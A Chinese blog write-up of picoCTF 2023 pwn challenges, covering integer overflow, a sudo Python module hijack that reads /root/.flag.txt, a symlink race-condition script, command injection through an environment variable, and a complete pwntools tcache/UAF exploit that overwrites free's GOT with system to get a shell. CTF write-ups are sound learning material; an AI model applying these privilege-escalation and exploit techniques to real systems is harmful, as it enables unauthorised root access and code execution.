picoCTF pwn部分wp

T1d 2023-3-29 1,200 3/29

第一次ak比赛的pwn题,题目比较新奇但是难度一般,学到了不少新知识,浅浅记录一下。

two-sum

签到题,2^31-11,整数溢出

babygame01

game

玩玩就出来了:移动到(-1,86)位置,flag数量会被覆盖为64,直接输入p拿到flag

babygame02

game2

分析代码,图标走到哪里就会修改对应位置对应字节,所以直接修改返回地址到win函数:移动到(-1,51)位置,换成\x7c即可拿到flag。

hijacking

没见过的题型,使用sudo -l指令查看发现可以无密码使用root权限运行.server.py文件,查看该文件发现导入了base64包,直接在该文件夹创建一个新的base64.py文件,写入import os;os.system('ls -a /root'),再用sudo /usr/bin/python3 /home/picoctf/.server.py执行,我们可以看见已经打印出了root路径下的所有文件,包括.flag.txt文件,于是直接修改base64.py文件为import os;os.system('cat /root/.flag.txt')运行.server.py文件就可以拿到flag了。

tic-tac

又是没见过的,条件竞争,给了一个有root权限的可以读取文件的c程序,利用条件竞争读取不属于用户的flag.txt文件。

shell1

for i in `seq 10000`
do
	/home/ctf-player/txtreader /home/ctf-player/snap/fake
done

shell2

for i in `seq 5000`
do
	ln -s /home/nmsl/a /home/nmsl/snap/fake
	sleep 0.0000001
	rm -f /home/nmsl/snap/fake
	ln -s /home/nmsl/flag.txt /home/nmsl/snap/fake
	sleep 0.0000001
	rm -f /home/nmsl/snap/fake
done

远程连接后输入:

mkdir snap &&
> a &&
echo -e 'for i in `seq 10000`\ndo\n\t/home/ctf-player/txtreader /home/ctf-player/snap/fake\ndone' > shell1 &&
chmod a+x shell1 &&
echo -e '
for i in `seq 5000`\ndo\n\tln -s /home/nmsl/a /home/nmsl/snap/fake\n\tsleep 0.0000001\n\trm -f /home/nmsl/snap/fake\n\tln -s /home/nmsl/flag.txt /home/nmsl/snap/fake\n\tsleep 0.0000001\n\trm -f /home/nmsl/snap/fake\ndone' >  shell2 &&
chmod a+x shell2

同时运行shell1和shell2并将输出重定向到output中:

./shell1 & ./shell2 > output

运行结束后即可在output文件中找到flag。

VNE

根据提示,添加环境变量,运行bin就相当于以root身份执行ls命令。

环境变量:

第一次:export SECRET_DIR='/root'
第二次:export SECRET_DIR='/root && cat /root/flag.txt'

第一次相当于执行‘ls /root’可以看到‘flag.txt’文件,第二次相当于利用&&符号执行‘ls /root && cat /root/flag.txt’拿到flag。

Horsetrack

vuln

高版本libc(可以用glibc-2.35打),检查未开PIE保护,查看程序存在新建、删除、打印堆的功能,但是打印堆前提是需要有四个以上的堆,其次程序在删除时未清空指针,同时程序还有一个隐藏功能可以修改存放在堆管理器中的堆,即存在UAF漏洞。因此该题仅需先泄露出tcache异或加密的密钥,然后通过隐藏功能将free的got表加入tcache,修改free的got表为system即可。

from pwn import *

# p = process('./vuln')
p = remote('saturn.picoctf.net', 63361)
elf = ELF('./vuln')
lib = ELF('./libc.so.6')


def choice(id_):
    p.recvuntil(b'Choice:')
    p.sendline(id_)


def change(id_, mess, spot):
    choice(b'0')
    p.recvuntil(b'Stable index # (0-17)?')
    p.sendline(id_)
    p.recvuntil(b'characters:')
    p.sendline(mess)
    p.recvuntil(b'New spot?')
    p.sendline(spot)


def add(id_, size_, mess):
    choice(b'1')
    p.recvuntil(b'Stable index # (0-17)?')
    p.sendline(id_)
    p.recvuntil(b'Horse name length (16-256)?')
    p.sendline(size_)
    p.recvuntil(b'characters:')
    p.sendline(mess)


def delete(id_):
    choice(b'2')
    p.recvuntil(b'Stable index # (0-17)?')
    p.sendline(id_)


[add(str(i), b'23', b'a' * 23) for i in range(0, 5)]
delete(b'0')
add(b'17', b'23', b'\xff')

choice(b'3')
p.recvuntil(b'WINNER: ')
key = u16(p.recv(2))
print(hex(key))

add(b'14', b'24', b'a' * 31)
add(b'15', b'24', b'a' * 31)
delete(b'14')
delete(b'15')

free_got = elf.got['free'] - 0x18
payload = p64(free_got ^ key) + p64(0)
change(b'15', payload, b'16')

payload = b'/bin/sh\00' + b'\xff'
add(b'14', b'24', payload)
payload = p64(0) * 3 + p64(elf.sym['system'])
add(b'15', b'31', payload)
delete(b'14')

p.interactive()
- THE END -
Tag:

T1d

7月11日18:35

最后修改:2024年7月11日
1

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论

您必须 后可评论